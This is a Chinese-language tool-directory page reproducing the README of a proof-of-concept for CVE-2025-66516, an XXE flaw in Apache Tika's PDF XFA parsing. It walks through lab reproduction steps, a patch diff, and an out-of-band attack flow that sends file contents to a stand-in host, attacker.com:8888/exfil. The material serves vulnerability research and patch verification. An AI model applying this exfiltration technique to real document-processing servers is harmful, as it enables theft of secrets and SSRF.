Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-66516-POC — 针对 CVE-2025-66516 Apache Tika 漏洞的 POC,仅供教育用途。 | Kitploit
工具/GitHubGitHub/sid6224/cve-2025-66516-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubsid6224/cve-2025-66516-poc

CVE-2025-66516-POC

针对 CVE-2025-66516 Apache Tika 漏洞的 POC,仅供教育用途。

查看仓库
6128个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

⚠️ 使用前请阅读免责声明 ⚠️

仅限教育/授权测试 | 许可证 | 安全政策


CVE Tika 严重性 XXE 许可证 平台 Java


关于此POC

本仓库包含针对 CVE-2025-66516 的概念验证(POC)利用代码,该漏洞是 Apache Tika 3.2.2 之前版本中的一个 XML 外部实体(XXE)注入漏洞。漏洞影响 tika-parser-pdf-module 组件中的 XFA(XML 表单架构)解析器,允许攻击者通过精心构造的 PDF 文档读取本地文件并窃取敏感数据。

什么是 CVE-2025-66516?

CVE-2025-66516 是 Apache Tika PDF 解析功能中的一个 严重安全漏洞。在处理包含嵌入式 XFA 表单的 PDF 文件时,3.2.2 之前的 Tika 版本未能正确限制 XML 解析器中的外部实体处理。这使得攻击者能够:

  • 读取服务器文件系统上的任意文件(本地文件泄露)
  • 将敏感数据外泄到外部服务器(带外 XXE)
  • 通过触发对内部网络资源的请求执行 SSRF 攻击
  • 绕过依赖 Tika 进行文档处理的应用程序的安全控制

漏洞详情

  • CVE ID: CVE-2025-66516
  • 受影响组件: Apache Tika tika-parser-pdf-module
  • 受影响版本: Apache Tika < 3.2.2
  • 修复版本: Apache Tika 3.2.2 及更高版本
  • 攻击向量: 包含 XXE 负载的精心构造的 XFA 表单 PDF
  • 影响: 机密性破坏、数据外泄、服务器端请求伪造(SSRF)
  • CVSS 严重性: 高
  • 相关 CVE: CVE-2025-32370(Tika 中类似的 XXE 漏洞)

仓库内容

本仓库包含:

  • gen_poc.py - 用于生成用于本地文件读取 XXE 攻击的恶意 PDF 的 Python 脚本
  • gen_oob_poc.py - 用于生成用于带外数据外泄的 PDF 的 Python 脚本
  • http_listener.py - 用于演示 OOB XXE 数据外泄的 HTTP 服务器
  • DocumentProcessor.java - 展示存在漏洞的 Tika 集成的示例 Java 应用程序
  • 完整的逐步复现指南,包含预期输出
  • 技术分析,比较存在漏洞的版本与修复版本
  • 攻击流程文档,解释利用机制

关键词

Apache Tika XXE, CVE-2025-66516 利用, Tika 安全漏洞, XML 外部实体攻击, PDF XXE 注入, Tika 3.2.1 漏洞, 带外 XXE, OOB XXE, 安全研究, 渗透测试, POC 利用, 漏洞披露, XFA 解析器漏洞, tika-parser-pdf-module, 文件泄露漏洞, 数据外泄, SSRF 攻击, 安全编码, 漏洞分析, 安全测试, 道德黑客, 信息安全, 网络安全研究, Apache Tika 利用代码, XXE 负载, PDF 安全, 文档解析器漏洞


测试环境

注意: 此 POC 已在以下环境中测试并验证:

  • Apache Tika 版本: 3.2.1(存在漏洞)和 3.2.2(已修复)
  • 操作系统: Linux - Ubuntu 24.04.3 LTS
  • Java 版本: OpenJDK 17.0.17

设置 POC 目录

首先,为 POC 创建一个专用目录,以便将所有文件组织在一起。

root@kitploit:~
mkdir apache_tika_poc
cd apache_tika_poc

环境验证

在继续 POC 之前,请验证您的环境是否具有所需的依赖项。这些命令将显示您的 Java 编译器/运行时版本和操作系统详细信息,这对于复现漏洞至关重要。

root@kitploit:~
# 检查 Java 版本
java -version
javac -version

# 检查操作系统版本
lsb_release -a

预期输出: 您应该看到 Java 版本信息(例如 OpenJDK 17.x.x)和 Ubuntu 版本详细信息(24.04.3 LTS)。

下载 Apache Tika JAR 文件

下载存在漏洞(3.2.1)和已修复(3.2.2)的 Apache Tika 版本。我们需要这两个版本来演示 XXE 漏洞存在于 3.2.1 中,并在 3.2.2 中修复。tika-app JAR 是一个一体化可执行文件,包含所有 Tika 解析器和依赖项。

root@kitploit:~
# 下载存在漏洞的 Tika 版本
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.1/tika-app-3.2.1.jar

# 下载已修复的 Tika 版本
wget https://repo1.maven.org/maven2/org/apache/tika/tika-app/3.2.2/tika-app-3.2.2.jar

预期输出: 将下载两个 JAR 文件 - tika-app-3.2.1.jar(约 75MB)和 tika-app-3.2.2.jar(约 75MB)。

验证组件版本

通过检查 JAR 清单文件验证确切版本。这确保我们在测试之前拥有正确的存在漏洞和已修复的版本。

root@kitploit:~
# 检查存在漏洞版本的清单
unzip -p tika-app-3.2.1.jar META-INF/MANIFEST.MF

# 检查已修复版本的清单
unzip -p tika-app-3.2.2.jar META-INF/MANIFEST.MF

预期输出: 清单文件分别显示 Implementation-Version: 3.2.1 和 3.2.2,以及构建时间戳和其他元数据。

列出组件 POM 属性

如果我们查看项目对象模型(Maven 的 POM 属性定义了项目的依赖项、构建配置和元数据),我们会发现安全公告中提到的 tika-parsers 模块并不独立存在——这可能与版本有关,并且假设在 POC 涉及的 3.2.1 和 3.2.2 版本中,tika-parsers 模块已被单独的解析器模块取代。

root@kitploit:~
# 列出两个版本的所有组件 pom.properties 文件
unzip -l tika-app-3.2.1.jar | grep pom.properties | grep tika
unzip -l tika-app-3.2.2.jar | grep pom.properties | grep tika

预期输出: 所有 Tika 组件模块的列表,包括 tika-core、tika-parser-pdf-module、tika-xmp 等。您会注意到单个的解析器模块,而不是单一的 tika-parsers 模块。

检查 Tika 组件版本

提取并显示核心 Tika 组件的版本信息。这有助于我们了解内部模块结构,并确认核心库和 PDF 解析器模块都处于预期版本。

root@kitploit:~
# 检查 3.2.1 版本的 tika-core、tika-parser-pdf-module 和 tika-app 版本
unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.1.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

# 检查 3.2.2 版本的 tika-core、tika-parser-pdf-module 和 tika-app 版本
unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-core/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-parser-pdf-module/pom.properties && echo "---" && unzip -p tika-app-3.2.2.jar META-INF/maven/org.apache.tika/tika-app/pom.properties

预期输出: POM 属性显示每个组件的 version=3.2.1 或 version=3.2.2,以 --- 分隔。所有三个组件(tika-core、tika-parser-pdf-module、tika-app)的版本应与整体版本匹配。

为 XXE 利用创建目标文件

创建一个假 secrets 文件,它将作为我们 XXE 攻击的目标。该文件模拟攻击者可能试图通过 XXE 漏洞窃取的敏感数据(如 API 密钥或凭据)。

root@kitploit:~
# 创建目标秘密文件
echo "INTERNAL_SERVER_KEY=EXPOSED" > fake-secrets.txt

预期输出: 一个名为 fake-secrets.txt 的文件,包含字符串 INTERNAL_SERVER_KEY=EXPOSED。XXE 利用将读取该文件。

代码分析:比较存在漏洞与已修复版本

为了理解修复内容,我们需要反编译并比较两个版本的 XMLReaderUtils 类。这个类负责创建 XML 解析器,而漏洞源于它如何配置 XML 实体处理。

root@kitploit:~
# 提取存在漏洞的 JAR 进行分析
mkdir tika-3.2.1-extract && cd tika-3.2.1-extract && unzip -q ../tika-app-3.2.1.jar && cd ..

# 提取已修复的 JAR 进行分析
mkdir tika-3.2.2-extract && cd tika-3.2.2-extract && unzip -q ../tika-app-3.2.2.jar && cd ..

# 反编译存在漏洞的类
cd tika-3.2.1-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.1.txt && cd ..

# 反编译已修复的类
cd tika-3.2.2-extract && javap -c org/apache/tika/utils/XMLReaderUtils.class > ../XMLReaderUtils-3.2.2.txt && cd ..

# 比较版本
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt

预期输出: 提取会创建两个包含反编译类文件的目录。javap 命令生成 XMLReaderUtils 类的字节码反汇编。diff 命令将显示两个版本之间 XML 解析器配置的差异。

识别修复内容

如果我们仔细比较,会发现任何文档类型定义(DTD)和外部实体的支持在 3.2.2 中被禁用——这是修复的核心:

root@kitploit:~
diff -u XMLReaderUtils-3.2.1.txt XMLReaderUtils-3.2.2.txt | grep -A2 -B2 "accessExternalDTD\|supportDTD\|isSupportingExternalEntities"

预期输出: 您将看到 diff 输出显示 3.2.2 版本添加了禁用 DTD 处理和外部实体解析的调用。查找设置 accessExternalDTD 为空字符串和 supportDTD 为 false 的行。

POC #1:本地文件读取 XXE

这演示了经典的 XXE 攻击,恶意 PDF 从服务器文件系统读取本地文件。Python 脚本生成一个 PDF,其中包含一个嵌入的 XFA 表单,该表单包含带有 XXE 负载的 XML,该负载引用了 file:///fake-secrets.txt。

root@kitploit:~
# 生成恶意 PDF
python3 ./gen_poc.py

# 使用存在漏洞的 Tika 3.2.1 进行测试
java -jar tika-app-3.2.1.jar -t cve_2025_66516_poc.pdf

# 使用已修复的 Tika 3.2.2 进行测试
java -jar tika-app-3.2.2.jar -t cve_2025_66516_poc.pdf

预期输出:

  • gen_poc.py 创建包含 XXE 负载的 cve_2025_66516_poc.pdf
  • 存在漏洞(3.2.1): Tika 的输出将包含 INTERNAL_SERVER_KEY=EXPOSED - 秘密文件的内容!
  • 已修复(3.2.2): Tika 的输出将不包含秘密数据;XXE 攻击被阻止

POC #2:带外 XXE

这演示了一种更复杂的 XXE 攻击,使用带外(OOB)数据外泄。恶意 PDF 不将文件内容反映在响应中,而是强制 Tika 将数据发送到攻击者控制的外部服务器。即使应用程序不返回解析的内容,这种技术也能生效。

root@kitploit:~
# 生成带外 XXE PDF
python3 ./gen_oob_poc.py

# 启动 HTTP 监听器(在单独的终端中)
python3 ./http_listener.py

# 使用存在漏洞的 Tika 3.2.1 测试 OOB XXE
java -jar tika-app-3.2.1.jar -t cve-2025-66516_OOB_XXE.pdf

# 使用已修复的 Tika 3.2.2 测试 OOB XXE
java -jar tika-app-3.2.2.jar -t cve-2025-66516_OOB_XXE.pdf

预期输出:

  • gen_oob_poc.py 创建包含 OOB XXE 负载的 cve-2025-66516_OOB_XXE.pdf
  • http_listener.py 在端口 8888 上启动服务器并等待传入请求
  • 存在漏洞(3.2.1): HTTP 监听器将收到两个请求:
    1. 对 /evil.dtd 的 GET 请求(外部 DTD 获取)
    2. 对 /exfil?data=INTERNAL_SERVER_KEY=EXPOSED 的 GET 请求(数据外泄)
  • 已修复(3.2.2): 未收到任何 HTTP 请求;外部实体处理被阻止

应用级测试

这在更真实的场景中测试漏洞,其中 Tika 作为 Java 应用程序中的库使用(不仅仅是命令行工具)。DocumentProcessor.java 代码模拟了典型应用程序可能如何集成 Tika 进行文档解析。

root@kitploit:~
# 使用存在漏洞的 Tika 编译
javac -cp tika-app-3.2.1.jar DocumentProcessor.java

# 使用存在漏洞的 Tika 运行
java -cp tika-app-3.2.1.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

# 使用已修复的 Tika 编译
javac -cp tika-app-3.2.2.jar DocumentProcessor.java

# 使用已修复的 Tika 运行
java -cp tika-app-3.2.2.jar:. DocumentProcessor ./cve_2025_66516_poc.pdf

预期输出:

  • 存在漏洞(3.2.1): 程序将打印:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [包含 INTERNAL_SERVER_KEY=EXPOSED 的文本]
    ⚠️  SECURITY ALERT: XXE vulnerability detected! Secret data leaked in output.
    
  • 已修复(3.2.2): 程序将打印:
    root@kitploit:~
    Document processed successfully!
    Content extracted: [不包含秘密数据的文本]
    ✓ No XXE vulnerability detected.
    

清理

删除分析阶段创建的临时目录和文件,保持工作区整洁。

root@kitploit:~
# 删除提取目录
rm -rf tika-3.2.2-extract/
rm -rf tika-3.2.1-extract/
rm XMLReaderUtils-*.txt

预期输出: 目录和反编译的文本文件将被删除。除非出错,否则不会显示输出。


理解攻击流程

本地文件系统 XXE 攻击序列

  1. PDF 包含带有 DOCTYPE + ENTITY 声明的 XFA 流
  2. Tika 检测到 XFA → 调用 XFAExtractor
  3. XFAExtractor 通过 XMLReaderUtils 创建 XML 解析器
  4. 解析器处理 DOCTYPE,注册 xxe 实体
  5. 解析器遇到 &xxe; 引用
  6. 解析器解析实体 → 读取 file:///fake-secrets.txt
  7. 文件内容插入到 XML 中 &xxe; 所在的位置
  8. XFAExtractor 提取字段值 = 文件内容
  9. 应用程序在 Tika 输出中收到秘密数据

带外(OOB)XXE 攻击序列

  1. PDF 包含带有声明参数实体(%file, %dtd)的 DOCTYPE 的 XFA
  2. Tika 检测到 XFA → 调用 XFAExtractor
  3. XFAExtractor 通过 XMLReaderUtils 创建 XML 解析器
  4. 解析器处理 DOCTYPE,注册 %file 实体 → 指向 file:///fake-secrets.txt
  5. 解析器遇到 %dtd; 引用 → 指向 http://attacker.com:8888/evil.dtd
  6. 解析器向攻击者服务器发起 HTTP GET 请求以获取 evil.dtd
  7. 攻击者的 HTTP 服务器收到请求,提供 evil.dtd 内容
  8. 解析器处理 evil.dtd:定义 %payload 实体,其中包含 &send 定义
  9. evil.dtd 展开 %payload → 创建带有外泄 URL 的 &send 实体
  10. &send 实体包含:http://attacker.com:8888/exfil?data=%file;
  11. 解析器在 &send URL 中展开 %file; → 插入文件内容
  12. 解析器解析 &send; 实体 → 向外泄端点发起 HTTP GET 请求
  13. 攻击者的 HTTP 服务器收到带有文件内容的 URL 参数的 /exfil 请求
  14. 攻击者从 URL 参数中提取数据,记录秘密文件内容
  15. 应用程序输出无关紧要 → 数据已外泄到攻击者的服务器

参考

官方安全公告

  • Apache Tika 安全页面: https://tika.apache.org/security.html
  • NVD - CVE-2025-66516: https://nvd.nist.gov/vuln/detail/CVE-2025-66516
  • MITRE CVE 数据库: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66516
  • Apache Tika GitHub: https://github.com/apache/tika

相关漏洞

  • CVE-2025-54988 - CVE-2025-66516 取代的先前 CVE 标识符(同一漏洞,重新编号)
  • CVE-2025-32370 - Apache Tika 中类似的 XXE 漏洞
  • OWASP XXE 指南: https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing

技术资源

  • Apache Tika 文档: https://tika.apache.org/
  • XXE 攻击技术: https://portswigger.net/web-security/xxe
  • PDF XFA 规范: Adobe XML 表单架构(XFA)规范
  • Upwind 安全分析: https://www.upwind.io/feed/apache-tika-rce-cve-2025-66516(应用程序代码参考)

负责任披露

如果您发现安全漏洞,请负责任地报告:

  • Apache 安全团队: [email protected]
  • Apache Tika 团队: https://tika.apache.org/mail-lists.html

标签

apache-tika xxe-vulnerability cve-2025-66516 security-research proof-of-concept xml-external-entity cybersecurity vulnerability-research poc infosec penetration-testing ethical-hacking pdf-security xfa-parser data-exfiltration


许可证

本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。

仅限教育用途 - 此 POC 仅用于教育目的和授权的安全测试。未经授权对不属于您或未经许可测试的系统使用是非法的。


贡献

欢迎贡献以改进此 POC 或文档!请确保任何贡献:

  • 遵循负责任披露实践
  • 包含适当的免责声明
  • 不包括超出教育演示的恶意代码
  • 保持对教育价值的关注

致谢

  • Apache Tika 安全团队修复此漏洞的工作
  • 安全研究社区负责任的漏洞披露实践
  • 本仓库的贡献者

最后更新: 2025 年 12 月

下载工具
ssrf
oob-xxe
file-disclosure
secure-coding
vulnerability-analysis
security-testing
exploit-development
red-team
blue-team
appsec
document-parsing
java-security